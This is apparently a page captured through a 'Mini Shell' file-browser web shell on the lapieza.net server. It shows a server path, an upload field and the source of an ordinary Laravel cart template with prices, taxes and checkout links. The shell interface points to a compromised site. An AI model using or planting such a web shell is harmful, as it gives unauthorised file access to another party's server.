HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/resources/views/frontend/partials/
Upload File :
Current File : /var/www/devs.lapieza.net/resources/views/frontend/partials/cart_details.blade.php
@php
    $total = 0;
@endphp
<div class="container">
    <div class="row">
        <div class="col-xxl-8 col-xl-10 mx-auto">
            <div class="border bg-white p-3 p-lg-4 text-left br-banner">
                <div class="mb-4">
                    <!-- Headers -->
                    <div class="row gutters-5 d-none d-lg-flex border-bottom mb-3 pb-3 text-secondary fs-12">
                        <div class="col col-md-1 fw-600">{{ translate('Qty') }}</div>
                        <div class="col-md-5 fw-600">{{ translate('Product') }}</div>
                        <div class="col fw-600">{{ translate('Price') }}</div>
                        <div class="col fw-600">{{ translate('Tax') }}</div>
                        <div class="col fw-600">{{ translate('Total') }}</div>
                        <div class="col-auto fw-600">{{ translate('Remove') }}</div>
                    </div>
                    <!-- Cart Items -->
                    <ul class="list-group list-group-flush">
                        @foreach ($carts as $cart)
                            @php
                                $product = get_single_product($cart->product_id);
                                $product_stock = $product->stocks->first();
                                // $total = $total + ($cart['price']  + $cart['tax']) * $cart['quantity'];
                                $total = $total + cart_product_price($cart, $product, false) * $cart->quantity;
                                $product_name_with_choice = $product->getTranslation('name');
                                if ($cart['variation'] != null) {
                                    $product_name_with_choice = $product->getTranslation('name');
                                }
                            @endphp
                            <li class="list-group-item px-0">
                                <div class="row gutters-5 align-items-center">
                                    <!-- Quantity -->
                                    <div class="col-md-1 col order-1 order-md-0">
                                        @if ($cart->digital != 1 && $product->auction_product == 0)
                                            <div class="d-flex flex-column align-items-start aiz-plus-minus mr-2 ml-0">
                                                <button class="btn col-auto btn-icon btn-sm btn-circle btn-light"
                                                    type="button" data-type="plus"
                                                    data-field="quantity[{{ $cart->id}}]">
                                                    <i class="las la-plus"></i>
                                                </button>
                                                <input type="number" name="quantity[{{ $cart->id }}]"
                                                    class="col border-0 text-left px-0 flex-grow-1 fs-14 input-number"
                                                    placeholder="1" value="{{ $cart['quantity'] }}"
                                                    min="{{ $product->min_qty }}" max="{{ $product_stock->qty }}"
                                                    onchange="updateQuantity({{ $cart->id }}, this)"
                                                    style="padding-left:0.75rem !important;">
                                                <button class="btn col-auto btn-icon btn-sm btn-circle btn-light"
                                                    type="button" data-type="minus"
                                                    data-field="quantity[{{ $cart->id }}]">
                                                    <i class="las la-minus"></i>
                                                </button>
                                            </div>
                                        @elseif($product->auction_product == 1)
                                            <span class="fw-700 fs-14">1</span>
                                        @endif
                                    </div>
                                    <!-- Product Image & name -->
                                    <div class="col-md-5 d-flex align-items-center mb-2 mb-md-0">
                                        <span class="mr-2 ml-0">
                                            <img src="{{ uploaded_asset($product->thumbnail_img) }}"
                                                class="img-fit size-70px"
                                                alt="{{ $product->getTranslation('name') }}"
                                                onerror="this.onerror=null;this.src='{{ static_asset('assets/img/placeholder.jpg') }}';">
                                        </span>
                                        <span class="fs-14">{{ $product_name_with_choice }}</span>
                                    </div>
                                    <!-- Price -->
                                    <div class="col-md col-4 order-2 order-md-0 my-3 my-md-0">
                                        <span class="opacity-60 fs-12 d-block d-md-none">{{ translate('Price') }}</span>
                                        <span class="fw-700 fs-14">{{ cart_product_price($cart, $product, true, false) }}</span>
                                    </div>
                                    <!-- Tax -->
                                    <div class="col-md col-4 order-3 order-md-0 my-3 my-md-0">
                                        <span class="opacity-60 fs-12 d-block d-md-none">{{ translate('Tax') }}</span>
                                        <span class="fw-700 fs-14">{{ cart_product_tax($cart, $product) }}</span>
                                    </div>
                                    <!-- Total -->
                                    <div class="col-md col-5 order-4 order-md-0 my-3 my-md-0">
                                        <span class="opacity-60 fs-12 d-block d-md-none">{{ translate('Total') }}</span>
                                        <span class="fw-700 fs-16 text-primary">{{ single_price(cart_product_price($cart, $product, false) * $cart->quantity) }}</span>
                                    </div>
                                    <!-- Remove From Cart -->
                                    <div class="col-md-auto col-6 order-5 order-md-0 text-right">
                                        <a href="javascript:void(0)"
                                            onclick="removeFromCartView(event, {{ $cart->id }})"
                                            class="btn btn-icon btn-sm btn-soft-primary bg-soft-warning hov-bg-primary btn-circle">
                                            <i class="las la-trash fs-16"></i>
                                        </a>
                                    </div>
                                </div>
                            </li>
                        @endforeach
                    </ul>
                </div>
                <!-- Subtotal -->
                <div class="px-0 py-2 mb-4 border-top d-flex justify-content-between">
                    <span class="opacity-60 fs-14">{{ translate('Subtotal') }}</span>
                    <span class="fw-700 fs-16">{{ single_price($total) }}</span>
                </div>
                <div class="row align-items-center">
                    <!-- Return to shop -->
                    <div class="col-md-6 text-center text-md-left order-1 order-md-0">
                        <a href="{{ route('home') }}" class="btn btn-link fs-14 fw-700 px-0 mt-15px">
                            <i class="las la-arrow-left fs-16"></i>
                            {{ translate('Return to shop') }}
                        </a>
                    </div>
                    <!-- Continue to Shipping -->
                    <div class="col-md-6 text-center text-md-right">
                        <a href="{{ route('checkout.shipping_info') }}" class="btn btn-primary fs-14 fw-700 rounded-25px px-4">
                            {{ translate('Continue to Shipping') }}
                        </a>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<script type="text/javascript">
    AIZ.extra.plusMinus();
</script>